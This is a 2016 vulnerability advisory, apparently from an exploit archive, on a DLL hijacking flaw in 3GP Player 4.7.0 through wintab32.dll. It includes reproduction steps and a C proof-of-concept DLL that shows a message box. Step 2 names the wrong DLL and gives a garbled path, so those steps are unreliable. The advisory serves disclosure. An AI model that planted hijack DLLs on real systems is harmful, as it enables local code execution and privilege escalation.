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3GP Player 4.7.0 DLL Hijacking

3GP Player 4.7.0 DLL Hijacking
Posted Sep 23, 2016
Authored by ZwX | Site vulnerability-lab.com

3GP Player version 4.7.0 suffers from a dll hijacking vulnerability.

tags | exploit
MD5 | 3b1691354399c5d7e0d47305fe36e024

3GP Player 4.7.0 DLL Hijacking

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Document Title:
===============
3GP Player 4.7.0 - DLL Hijacking Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1955


Release Date:
=============
2016-09-23


Vulnerability Laboratory ID (VL-ID):
====================================
1955


Common Vulnerability Scoring System:
====================================
5.6


Product & Service Introduction:
===============================
3GP Player is a player specialized videos in 3GP format widely used by mobile phones. 3GP format and its
variants (3GPP, 3GPP2, etc.) are used by many mobile phone manufacturers to store video. 3GP provides an
easy way to play these videos on your PC. In use, 3GP Player disappoint with her too rudimentary interface.
It offers only opening files and links to websites that host videos for mobile.

(Copy of the Vendor Homepage: http://www.reganam.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll injection vulnerability in the official 3GP Player v4.7.0 software.


Vulnerability Disclosure Timeline:
==================================
2016-09-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Reganam Interactive
Product: 3GP Player - Software Client 4.7.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official 3GP Player v4.7.0 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process
or to gain higher access privileges.

Vulnerable Software:
[+] 3GP Player

Vulnerable Version(s):
[+] v4.7.0

Vulnerable Libraries:
[+] wintab32.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wintab32.dll
2. Copy Linkinfo.dll to C:Program Files3GPplayer20113GP-player.exe
3. Launch 3GP Player.exe
4. Now the test messagebox executes
5. Successful reproduce of the local vulnerability!


PoC: Exploit
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


Security Risk:
==============
The security risk of the dll inject web vulnerability in the vulnerable software library is estimated as medium. (CVSS 5.6)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
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Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



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